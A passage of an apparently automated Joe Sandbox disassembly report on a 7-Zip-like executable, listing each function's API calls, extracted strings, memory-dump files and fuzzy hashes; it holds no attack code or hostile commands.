Part of subcall function 00C4ABB0: GetModuleHandleW.KERNEL32 ref: 00C4ABD1
Part of subcall function 00C4ABB0: GetProcAddress.KERNEL32 ref: 00C4ABE1
Part of subcall function 00C4ABB0: GetDiskFreeSpaceW.KERNEL32 ref: 00C4AC32

Strings

(, xrefs: 00C49051
:, xrefs: 00C48FF2

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ControlDevice$AddressDiskFreeHandleModuleProcSpace
String ID: ($:
API String ID: 4250411929-4277925470
Opcode ID: 5b9f9703c519a548ceef949604e44196ebe8030fab0dc2f4f3b95e46287e534a
Instruction ID: 155bda16ede7e844ede75229bc156969546a2ba9d5c3aad5c63eb3b71fa2ff85
Opcode Fuzzy Hash: 5b9f9703c519a548ceef949604e44196ebe8030fab0dc2f4f3b95e46287e534a
Instruction Fuzzy Hash: 8F51CC32608BD196CB20DF20F05179EB775F3887A4F548526DB9A07B18EB39C5A9CB44

Function 00C4881C Relevance: 10.6, APIs: 7, Instructions: 102COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C4885B
free.MSVCRT ref: 00C48863
GetLogicalDriveStringsW.KERNEL32 ref: 00C48879
GetLogicalDriveStringsW.KERNEL32 ref: 00C488B2
free.MSVCRT ref: 00C48943
free.MSVCRT ref: 00C4894C
free.MSVCRT ref: 00C48959

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$DriveLogicalStrings
String ID:
API String ID: 837055893-0
Opcode ID: 3de173a54933036e0db587b8e1d0ec2bc758cc62df0222796deffbdb40624916
Instruction ID: 0162b0bb589eec0ccd7c8812a1ed8427588f95a28b5e5df6d7d5a3ed52c75e92
Opcode Fuzzy Hash: 3de173a54933036e0db587b8e1d0ec2bc758cc62df0222796deffbdb40624916
Instruction Fuzzy Hash: 1131C423301B4156DA30EF22E85136E6351BB85BF8F885234AE6E57388DF38C94AD300

Function 00C496AC Relevance: 10.6, APIs: 7, Instructions: 88COMMON

Download Yara Rule

APIs

free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF,00000001,00000000), ref: 00C496D1
GetFileInformationByHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF,00000001,00000000), ref: 00C49723
DeviceIoControl.KERNEL32 ref: 00C4976C
free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF,00000001,00000000), ref: 00C49779
free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF,00000001,00000000), ref: 00C49796
memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF,00000001,00000000), ref: 00C497C4
free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF,00000001,00000000), ref: 00C497CD

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$ControlDeviceFileHandleInformationmemmove
String ID:
API String ID: 2572579059-0
Opcode ID: 81d8e5875d3dc795eb3d600148a840ab749245db3ba8f1a9a9afcbd51cdf2eb3
Instruction ID: f7316b52ba1ebb5f828ea9db5c32a9c3d58d78ceff621140e23525e45333bf11
Opcode Fuzzy Hash: 81d8e5875d3dc795eb3d600148a840ab749245db3ba8f1a9a9afcbd51cdf2eb3
Instruction Fuzzy Hash: F0319532215A5086D6309F12F99176FB7A4F786BE0F588221EBFD47B95DE3DC9818700

Function 00C4B114 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 188timeCOMMON

Download Yara Rule

APIs

FileTimeToLocalFileTime.KERNEL32 ref: 00C4B12A
FileTimeToSystemTime.KERNEL32 ref: 00C4B13E

Strings

gfff, xrefs: 00C4B1D7

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: Time$File$LocalSystem
String ID: gfff
API String ID: 1748579591-1553575800
Opcode ID: e09e1fa2f5dca829b3cb60a828e392fca3363189765d43a1e7a71e091b5d5d10
Instruction ID: 2b2c3fcd876d61358b3c26671e95acd2ff8640867a89d76690acf9bda8f72ce3
Opcode Fuzzy Hash: e09e1fa2f5dca829b3cb60a828e392fca3363189765d43a1e7a71e091b5d5d10
Instruction Fuzzy Hash: 6A519893B042C04BE7198B3DD846BDDBFC1E3A5758F08822ADB9587785E66DC50AC721

Function 00C4B5E0 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

Part of subcall function 00C4B5B8: GetCurrentProcess.KERNEL32 ref: 00C4B5C2

GetSystemInfo.KERNEL32 ref: 00C4B624

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: CurrentInfoProcessSystem
String ID:
API String ID: 1098911721-0
Opcode ID: 3fe78990de1b082a0b60084bcba32a5828cb8e3291c47789f548cb5e73abf302
Instruction ID: b9e9ea06f46642b9effd78eda716235352cda5d04c2d275149c5d0b416bcfd3e
Opcode Fuzzy Hash: 3fe78990de1b082a0b60084bcba32a5828cb8e3291c47789f548cb5e73abf302
Instruction Fuzzy Hash: DFE0926662489483CB34DB08D442AA9B360F394B45FC15615F68982E04DF3DCB14CF00

Function 00C8D690 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34068706c2d5e8e26acb18a5d787bd8c28d1e0f249bc181dd9bcec1cf4fba99d
Instruction ID: 28c2724fb23dbda97642d8b7dd185ece33fef4764bb070aebcff4110c2f5ae3c
Opcode Fuzzy Hash: 34068706c2d5e8e26acb18a5d787bd8c28d1e0f249bc181dd9bcec1cf4fba99d
Instruction Fuzzy Hash: 2CE042F290A2058FD3D98F6AD4412587EE4F748795B60C13FA608D3301D37581888F92

Function 00C60C24 Relevance: 97.9, APIs: 78, Instructions: 364COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C60CC6
free.MSVCRT ref: 00C60CD0
free.MSVCRT ref: 00C60CE6
free.MSVCRT ref: 00C60CF0

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 9cbdc30e6d0b5ea00b42a6c34bff6f946b52da21b37e4cfe8bd3163259cd7e86
Instruction ID: c1d44b67600eed71ecf63b4ca5dbc56891e25ebcd9b1efdbcc3cd69905a2863c
Opcode Fuzzy Hash: 9cbdc30e6d0b5ea00b42a6c34bff6f946b52da21b37e4cfe8bd3163259cd7e86
Instruction Fuzzy Hash: CED1E8222555C081CA60FF31E49266FA760FFC3791F946152BB9E93B39DE28CD86DB04

Function 00C72A7D Relevance: 44.0, APIs: 35, Instructions: 257COMMON

Download Yara Rule

APIs

Part of subcall function 00C6E7A0: free.MSVCRT ref: 00C6E81E
Part of subcall function 00C6E7A0: free.MSVCRT ref: 00C6E828
Part of subcall function 00C6E7A0: free.MSVCRT ref: 00C6E832
Part of subcall function 00C6E7A0: free.MSVCRT ref: 00C6E83C

free.MSVCRT(?), ref: 00C72AD7
free.MSVCRT(?), ref: 00C72AE2
free.MSVCRT(?), ref: 00C72AEB
free.MSVCRT(?), ref: 00C72AF6
free.MSVCRT(?), ref: 00C72B04
free.MSVCRT ref: 00C72B26
free.MSVCRT ref: 00C72B2F
free.MSVCRT ref: 00C72B3D
free.MSVCRT ref: 00C72B48
free.MSVCRT ref: 00C72C3E
free.MSVCRT ref: 00C72C49
free.MSVCRT ref: 00C72C52
free.MSVCRT ref: 00C72C5D
free.MSVCRT ref: 00C72C6B
free.MSVCRT ref: 00C72C8D
free.MSVCRT ref: 00C72C96
free.MSVCRT ref: 00C72CA4
free.MSVCRT ref: 00C72CAF
free.MSVCRT(?), ref: 00C72CE3
free.MSVCRT(?), ref: 00C72CEE
free.MSVCRT(?), ref: 00C72CF7
free.MSVCRT(?), ref: 00C72D08
free.MSVCRT(?), ref: 00C72D16
free.MSVCRT ref: 00C72D3D
free.MSVCRT ref: 00C72D46
free.MSVCRT ref: 00C72D54
free.MSVCRT ref: 00C72D5F
free.MSVCRT ref: 00C72D73
free.MSVCRT(?), ref: 00C72D85
free.MSVCRT(?), ref: 00C72D93
free.MSVCRT ref: 00C72DBA
free.MSVCRT ref: 00C72DC3
free.MSVCRT ref: 00C72DD1
free.MSVCRT ref: 00C72DDC
free.MSVCRT ref: 00C72DEA

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 28ab6cdc9f263cf9404c085a8059b8072311b560ecc5f73d0aa5210d99d2189d
Instruction ID: 6a2a2d1fc68d1eff804dc60b7d5dfbcdf2b45e39ac6ddecbbbb6e6fadded7f12
Opcode Fuzzy Hash: 28ab6cdc9f263cf9404c085a8059b8072311b560ecc5f73d0aa5210d99d2189d
Instruction Fuzzy Hash: B8914E32205BC486CA24EF36D066A6E67A0FBC7F95F456452EB5E53711CF38C885D704

Function 00C866A8 Relevance: 43.9, APIs: 12, Strings: 13, Instructions: 131libraryloadertimeCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00C866B6
GetProcessTimes.KERNEL32 ref: 00C866E1
memset.MSVCRT ref: 00C8670C
GetModuleHandleW.KERNEL32 ref: 00C86721
GetProcAddress.KERNEL32 ref: 00C86734
LoadLibraryW.KERNEL32 ref: 00C86749
GetProcAddress.KERNEL32 ref: 00C8675E
GetCurrentProcess.KERNEL32 ref: 00C8676C
GetProcAddress.KERNEL32 ref: 00C8678B
GetCurrentProcess.KERNEL32 ref: 00C86799
fputs.MSVCRT ref: 00C8682A
fputs.MSVCRT ref: 00C86864

Strings

Psapi.dll, xrefs: 00C86742
Physical, xrefs: 00C868C2
MCycles, xrefs: 00C8685A
QueryProcessCycleTime, xrefs: 00C86781
H, xrefs: 00C866FC
Process, xrefs: 00C86880
Kernel , xrefs: 00C86806
User , xrefs: 00C8686A
kernel32.dll, xrefs: 00C86711
K32GetProcessMemoryInfo, xrefs: 00C86727
Virtual , xrefs: 00C8689B
GetProcessMemoryInfo, xrefs: 00C86754
Global , xrefs: 00C868A7

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: Process$AddressCurrentProc$fputs$HandleLibraryLoadModuleTimesmemset
String ID: MCycles$GetProcessMemoryInfo$Global $H$K32GetProcessMemoryInfo$Kernel $Physical$Process$Psapi.dll$QueryProcessCycleTime$User $Virtual $kernel32.dll
API String ID: 600854398-319139910
Opcode ID: 4de089bbcb59170ecffb44d8e6b4bb1020c1b67aaf46552131cc09be39bde8ef
Instruction ID: 5afb236f60d7063487806bac53ca81a716f63818ad334f7ccefe0c3a9c848fe4
Opcode Fuzzy Hash: 4de089bbcb59170ecffb44d8e6b4bb1020c1b67aaf46552131cc09be39bde8ef
Instruction Fuzzy Hash: 21519266305A8585FF20EF65F844B9A6361F789BC8F44812ADE4E437A9EF3CC54AC704

Function 00C61DB4 Relevance: 41.7, APIs: 33, Instructions: 418COMMON

Download Yara Rule

APIs

Part of subcall function 00C43314: memmove.MSVCRT ref: 00C43339

Part of subcall function 00C42130: malloc.MSVCRT(?,?,?,?,00C42FDA,?,?,00000000,00000000,00C4329F), ref: 00C42134
Part of subcall function 00C42130: _CxxThrowException.MSVCRT ref: 00C4214F

free.MSVCRT ref: 00C61EAE
free.MSVCRT ref: 00C61EB6
free.MSVCRT ref: 00C61EC4
free.MSVCRT ref: 00C61EF2
free.MSVCRT ref: 00C61EFA
free.MSVCRT ref: 00C61F08
free.MSVCRT ref: 00C61F40
free.MSVCRT ref: 00C61F48
free.MSVCRT ref: 00C61F5B
free.MSVCRT ref: 00C61FDE
free.MSVCRT ref: 00C62010
free.MSVCRT ref: 00C62018
free.MSVCRT ref: 00C62026
free.MSVCRT ref: 00C620E2
free.MSVCRT ref: 00C62114
free.MSVCRT ref: 00C6211C
free.MSVCRT ref: 00C6212A
free.MSVCRT ref: 00C6218F
free.MSVCRT ref: 00C62197
free.MSVCRT ref: 00C621A5
free.MSVCRT ref: 00C621E1
free.MSVCRT ref: 00C621E9
free.MSVCRT ref: 00C621F7
free.MSVCRT ref: 00C62235
free.MSVCRT ref: 00C6223D
free.MSVCRT ref: 00C6224B

Part of subcall function 00C60554: free.MSVCRT(?,?,?,?,?,?,00000000,00000000,00C62160), ref: 00C605FD
Part of subcall function 00C60554: free.MSVCRT(?,?,?,?,?,?,00000000,00000000,00C62160), ref: 00C60607
Part of subcall function 00C60554: free.MSVCRT(?,?,?,?,?,?,00000000,00000000,00C62160), ref: 00C60612

free.MSVCRT ref: 00C622CD
free.MSVCRT ref: 00C622D5
free.MSVCRT ref: 00C622E3
free.MSVCRT ref: 00C623A0
free.MSVCRT ref: 00C623A8
free.MSVCRT ref: 00C623B6
free.MSVCRT ref: 00C623C4

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmallocmemmove
String ID:
API String ID: 3352498445-0
Opcode ID: 060a242fe419d18ace11e0b1f05433c8320572bf80c973ccad8851887f661016
Instruction ID: 9b5f679a28aac89568ff2175778f9871563ef4304389a301fd8961d92f175228
Opcode Fuzzy Hash: 060a242fe419d18ace11e0b1f05433c8320572bf80c973ccad8851887f661016
Instruction Fuzzy Hash: CAE1B433708AD086CA30EE16E4C11ADA764F786BE0F495126FFAD57725CE68CD86D740

Function 00C505A0 Relevance: 40.7, APIs: 25, Strings: 2, Instructions: 209COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00C50624
memmove.MSVCRT ref: 00C5070D
free.MSVCRT ref: 00C507AA
free.MSVCRT ref: 00C507B8
free.MSVCRT ref: 00C507C5
free.MSVCRT ref: 00C507D2
free.MSVCRT ref: 00C507DF
free.MSVCRT ref: 00C507EC
free.MSVCRT ref: 00C507F9
free.MSVCRT ref: 00C50806
free.MSVCRT ref: 00C50810
free.MSVCRT ref: 00C5081B
free.MSVCRT ref: 00C50843

Part of subcall function 00C4339C: free.MSVCRT(00000000,?,?,00000000,00C410A8), ref: 00C433D7
Part of subcall function 00C4339C: memmove.MSVCRT(00000000,?,?,00000000,00C410A8), ref: 00C433F2

free.MSVCRT ref: 00C5084D

Part of subcall function 00C43274: memmove.MSVCRT ref: 00C432AC

free.MSVCRT ref: 00C50859
free.MSVCRT ref: 00C50867
free.MSVCRT ref: 00C50874
free.MSVCRT ref: 00C50881
free.MSVCRT ref: 00C5088E
free.MSVCRT ref: 00C5089B
free.MSVCRT ref: 00C508A8
free.MSVCRT ref: 00C508B5
free.MSVCRT ref: 00C508BF
free.MSVCRT ref: 00C508CA

Part of subcall function 00C43404: free.MSVCRT ref: 00C43431
Part of subcall function 00C43404: memmove.MSVCRT ref: 00C4344C

Part of subcall function 00C4FBE4: memmove.MSVCRT ref: 00C4FC3F

_CxxThrowException.MSVCRT ref: 00C50900

Strings

pqrxyzw, xrefs: 00C50656
incorrect update switch command, xrefs: 00C508E3

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove$ExceptionThrow
String ID: incorrect update switch command$pqrxyzw
API String ID: 3957182552-3922825594
Opcode ID: 7c7c3e7fd9314440e1a1777af8ec9796aa83228940c07231adba96d4221eb7b0
Instruction ID: f181809c49923dc8c25683a83c9f8ee76757ba0e754f6440cd0e2ae47b89f0aa
Opcode Fuzzy Hash: 7c7c3e7fd9314440e1a1777af8ec9796aa83228940c07231adba96d4221eb7b0
Instruction Fuzzy Hash: 428191272149C482CB20EF25D8927AE7360FBC5B94F905122FF9E87765DE38C98AD744

Function 00C45D18 Relevance: 38.8, APIs: 21, Strings: 1, Instructions: 328COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 00C45D69
free.MSVCRT ref: 00C45DB7
free.MSVCRT ref: 00C45DBF
wcscmp.MSVCRT ref: 00C45E09
wcscmp.MSVCRT ref: 00C45E63
wcscmp.MSVCRT ref: 00C45E77
free.MSVCRT ref: 00C45F32
free.MSVCRT ref: 00C45F3A
memmove.MSVCRT ref: 00C45F4F
free.MSVCRT ref: 00C4603B
free.MSVCRT ref: 00C46046
free.MSVCRT ref: 00C4608D
free.MSVCRT ref: 00C46095

Part of subcall function 00C43314: memmove.MSVCRT ref: 00C43339

Part of subcall function 00C4B8F0: memmove.MSVCRT ref: 00C4B932
Part of subcall function 00C4B8F0: free.MSVCRT ref: 00C4B93A

free.MSVCRT ref: 00C460F3

Part of subcall function 00C459E0: free.MSVCRT ref: 00C45ABB
Part of subcall function 00C459E0: free.MSVCRT ref: 00C45ACE
Part of subcall function 00C459E0: free.MSVCRT ref: 00C45AD6
Part of subcall function 00C459E0: memmove.MSVCRT ref: 00C45AEE

free.MSVCRT ref: 00C461A8
free.MSVCRT ref: 00C461B0
free.MSVCRT ref: 00C461BF
free.MSVCRT ref: 00C461CA
free.MSVCRT ref: 00C461EE
free.MSVCRT ref: 00C461F6
free.MSVCRT ref: 00C46202

Strings

Empty file path, xrefs: 00C45D53

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free$memmove$wcscmp$ExceptionThrow
String ID: Empty file path
API String ID: 462375450-1562447899
Opcode ID: ab664bf3e0e52273a7b2c93043638589f708cf9af184803b1dcc7a9fe34b6b52
Instruction ID: 3a524498bad25c8a5bdf5236f8ac7187383d1306688f96fdc86b1053ae99550f
Opcode Fuzzy Hash: ab664bf3e0e52273a7b2c93043638589f708cf9af184803b1dcc7a9fe34b6b52
Instruction Fuzzy Hash: ADD1B232214AC086DB20EF25E48139EB761FB85B94F545125FFAA57B6ADF38CA45CB00

Function 00C4A224 Relevance: 37.8, APIs: 22, Strings: 3, Instructions: 317COMMON

Download Yara Rule

Strings

\\?\UNC\, xrefs: 00C4A527, 00C4A66C
\\?\, xrefs: 00C4A3ED, 00C4A4CF
\, xrefs: 00C4A363

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID:
String ID: \$\\?\$\\?\UNC\
API String ID: 0-1962706685
Opcode ID: afa8621be2f1ba154e1a16fbf024995038344baa93033ba3e81e106e98a5c824
Instruction ID: e5993da71ce01aaeb3067905759f823907552e8db57cf1a97fb412108f0ef6c7
Opcode Fuzzy Hash: afa8621be2f1ba154e1a16fbf024995038344baa93033ba3e81e106e98a5c824
Instruction Fuzzy Hash: C6B1B322648980A0CE20FF21D4521BEA760FBD27D4F856112FF5E47779DF69CA86E702

Function 00C41C58 Relevance: 31.5, APIs: 25, Instructions: 294COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00C41C98
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00C41CB9

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 9404618c4272822a705cb722a6b2e01a42813b165ea22c09ed02a541621bc0be
Instruction ID: cd27cc411db9f6544a5e926d5557c72689877ab4dfc70d5cf3a4283be606b53b
Opcode Fuzzy Hash: 9404618c4272822a705cb722a6b2e01a42813b165ea22c09ed02a541621bc0be
Instruction Fuzzy Hash: ADA1933264868481DB20EF55E45256EBB61FBD27E0F941112FBDE43B69DF28C9CADB00

Function 00C87F50 Relevance: 30.2, APIs: 24, Instructions: 154COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C87FA0
free.MSVCRT ref: 00C87FA8
free.MSVCRT ref: 00C87FB8
free.MSVCRT ref: 00C87FC4
free.MSVCRT ref: 00C87FF6
free.MSVCRT ref: 00C87FFE
free.MSVCRT ref: 00C8800E
free.MSVCRT ref: 00C88026
free.MSVCRT ref: 00C88058
free.MSVCRT ref: 00C88061
free.MSVCRT ref: 00C88069
free.MSVCRT ref: 00C88079
free.MSVCRT ref: 00C88085
free.MSVCRT ref: 00C880B7
free.MSVCRT ref: 00C880BF
free.MSVCRT ref: 00C880CF
free.MSVCRT ref: 00C88108
free.MSVCRT ref: 00C88110
free.MSVCRT ref: 00C8811D
free.MSVCRT ref: 00C88127
free.MSVCRT ref: 00C88131
free.MSVCRT ref: 00C8815D
free.MSVCRT ref: 00C88165
free.MSVCRT ref: 00C88172

Memory Dump Source

Source File: 00000004.00000002.1687908495.0000000000C41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000004.00000002.1687878362.0000000000C40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687961511.0000000000C8F000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1687998865.0000000000CAC000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000004.00000002.1688019056.0000000000CAF000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_c40000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: a5da411e75573f0648736714f517a5bbb6ba3fc978bf78ef7329a5e2f6ab8de4
Instruction ID: 03eabd8e81d578076ec016cf9b57b83cc6f0c3bf7b092ca0c97040a3589e1122
Opcode Fuzzy Hash: a5da411e75573f0648736714f517a5bbb6ba3fc978bf78ef7329a5e2f6ab8de4
Instruction Fuzzy Hash: 5F515027610AC089CB21FE32D95226D6321FBD6FA8F991272EF2D1B759DF20CD469314

Function 00C86C04 Relevance: 28.2, APIs: 9, Strings: 7, Instructions: 160COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00C86C87

Part of subcall function 00C42670: fputs.MSVCRT ref: 00C4268F

